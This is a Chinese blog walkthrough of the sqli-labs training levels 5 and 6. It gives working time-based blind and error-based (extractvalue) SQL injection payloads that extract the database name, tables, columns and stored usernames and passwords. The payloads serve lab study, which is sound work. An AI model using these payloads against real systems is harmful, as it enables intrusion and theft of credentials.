sqli-labs 第五關+第六關


進入第五關之后稀里糊塗隨便注了一通發現沒有籃子用。可能是:布爾型盲注、報錯型注入、時間延遲型盲注了。
到這里時我們需要了解一些sql語句、函數。可以參考https://blog.csdn.net/qq_41420747/article/details/81773481

 

1、構造邏輯判斷

(1)sql注入截取字符串常用涵數

 在sql注入中,往往會用到截取字符串的問題,例如不回顯的情況下進行的注入,也稱為盲注,這種情況下往往需要一個一個字符的去猜解,過程中需要用到截取字符串。本文中主要列舉三個函數和該函數注入過程中的一些用例。

函數:mid()  substr()   left()

mid()函數為截取字符串一部分。mid(column_name,start,length)

column_name 必需,要提取字符的字段

start                必需,規定開始位置(起始為1)

length            可選,要返回的字符數,如果省略則返回剩余文本

eg:str="123456" mid(str,2,1)  結果為2

substr()

 Substr()和substring()函數實現的功能是一樣的,均為截取字符串。

    string substring(string, start, length)

    string substr(string, start, length)

    參數描述同mid()函數,第一個參數為要處理的字符串,start為開始位置,length為截取的長度

left()函數

Left()得到字符串左部指定個數的字符

Left ( string, n )        string為要截取的字符串,n為長度。

•基於時間的 SQL 盲注--延時注入

•基於報錯的 SQL 盲注-構造 payload 讓信息通過錯誤提示回顯出來

 

第一種,時間延遲型注入手工注入

時間延遲型手工注入,正確會延遲,錯誤沒有延遲。可以通過瀏覽器的刷新提示觀察延遲情況,但是id正確的時候的回顯有利於觀察。

我們構造sql語句,帶上時間延遲的函數,如果有明顯的延遲說明有注入點。

?id=1’ and if(length(database())=n,sleep(5),1)--+

經過幾次嘗試,發現數據庫長度為8時有明顯延遲5秒。

?id=1' and if(length(database())=8,sleep(5),1)--+

猜庫名

數據庫第一個字符為s,加下來以此增加left(database(),字符長度)中的字符長度,等號右邊以此爆破下一個字符,正確匹配時會延遲。最終爆破得到left(database(),8)='security'

?id=1' and if(left(database(),1)='s',sleep(5),1)--+

猜表名

?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users',sleep(5),5)--+

經過幾次嘗試找到了表名。

猜列名

?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password',sleep(5),1)--+

首先嘗試定向爆破,以提高手工注入速度,修改limit x,1 中的x查詢password是否存在表中,lucky的是limit 3,1的時候查到了password列,同樣的方法查詢username ,又一個lucky

猜值

?id=1’ and if(left((select password from users order by id limit 0,1),4)=‘dumb’ ,sleep(5),1)–+

?id=1’ and if(left((select username from users order by id limit 0,1),4)=‘dumb’ ,sleep(5),1)–+

按照id排序,這樣便於對應。注意limit 從0開始.通過堅持不懈的嘗試終於爆破到第一個用戶的名字dumb,密碼dumb,需要注意的是,mysql對大小寫不敏感,所以你不知道是Dumb 還是dumb

到這里建議使用sqlmap   https://www.cnblogs.com/tac2664/p/13772176.html 第一關的第二種方法,相同 用工具既省勁又方便

 

第二種,報錯注入

爆庫

?id=1' and extractvalue(1,concat(0x23,database(),0x23))--+

 

 爆表名

?id=1' and extractvalue(1,concat(0x23,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x23))--+

 

 

 

 

 

 爆列名

?id=1' and extractvalue(1,concat(0x23,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x23))--+

 

 

爆數據

?id=1' and extractvalue(1,concat(0x23,(select password from users order by id limit 0,1),0x23))--+

?id=1' and extractvalue(1,concat(0x23,(select username from users order by id limit 2,1),0x23))--+

用limit 可以看所有的數據了。

 

第六關

源碼中:

$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

將第五關的單引號改為雙引號即可。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM